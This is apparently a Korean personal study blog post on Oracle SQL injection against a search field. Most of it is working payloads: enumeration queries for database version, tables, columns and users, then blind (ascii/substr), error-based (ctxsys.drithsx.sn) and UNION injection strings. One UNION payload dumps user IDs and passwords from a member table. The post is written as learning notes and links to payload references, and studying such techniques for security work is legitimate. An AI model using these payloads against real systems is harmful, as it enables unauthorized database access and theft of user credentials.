// 버전 : select banner from v$version;
// DB 이름 : select global_name from global_name;
// 전체 테이블 : select table_name from all_tables;
// 현재 사용자 권한 부여된 테이블 : select tname from sys.tab where rownum=1;
// 컬럼명 : select * from all_tab_columns where table_name = '테이블명';
// 전체사용자 : SELECT DISTINCT owner FROM all_tables;
// 현재사용자 : select user from dual;
검색창 SQL 쿼리
select * from tbl_board where title like '%'||'${value}'||'%'
blind injection
// 제대로 불러오는지 참 값을 넣어 확인
aa' and ascii(substr('abc', 1, 1)) > 84;
// 테이블명
aa' and ascii(substr((select tname from sys.tab where rownum=1), 1, 1)) < 84 --
user00' or ascii(substr((select tname from (select rownum as rn, tname from sys.tab) a where a.rn=2), 1, 1)) = 84 --
select column_name from (select rownum as rn, column_name from all_tab_columns where table_name = 'TBL_MEMBER') a where a.rn=3;
// CASE 구문
select case when 1=1 then 1 else 2 end from dual; > 참, return 1
select case when 1=2 then 1 else 2 end from dual; > 거짓, return 2
error_based injection
ctxsys.drithsx.sn를 이용해 진행 = 해당 패키지는 에러가 나는 데이터를 화면에 출력한다.
utl_inaddr.get_host_address((select banner from v$version where rownum=1)) <> 1은 권한이 필요해서 안된다.
// username
aa' and ctxsys.drithsx.sn(1,(select user from dual)) <> 1--
// DB버전
aa' and ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1)) <> 1--
union injection
union을 이용할 경우엔 컬럼의 자료형이 맞아야 한다. 우선 모든 컬럼에 null을 집어넣고, 숫자와 문자형, 날짜 등 데이터 타입을 바꿔가면서 자료형 확인해간다.
// null을 이용해 컬럼의 자료형 맞추기
aa' UNION SELECT 1, null, null, null, null, null FROM tbl_member --
aa' UNION SELECT 1, '2', '3', '4', to_date('2019-10-16', 'YYYY-MM-DD'), to_date('2019-10-16', 'YYYY-MM-DD') FROM tbl_member --
aa' UNION SELECT 1, userid, userpw, '4', to_date('2019-10-16', 'YYYY-MM-DD'), to_date('2019-10-16', 'YYYY-MM-DD') FROM tbl_member --
// ||을 이용해 문자 합치기
aa' UNION SELECT 1, 'id:'||userid||' '||'pw:'||userpw,'3', '4', to_date('2019-10-16', 'YYYY-MM-DD'), to_date('2019-10-16', 'YYYY-MM-DD') FROM tbl_member;
*참고사이트
https://developpaper.com/summary-of-oracle-injection-foundation/
https://zulloper.tistory.com/9
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md
'공부 > 웹해킹' 카테고리의 다른 글
[CVE] CVE-2017-12617 실습 (0) | 2019.11.17 |
---|---|
XSS (0) | 2019.06.29 |
SQL Injection (0) | 2019.06.24 |
인코딩, 디코딩, 해시 (0) | 2019.06.24 |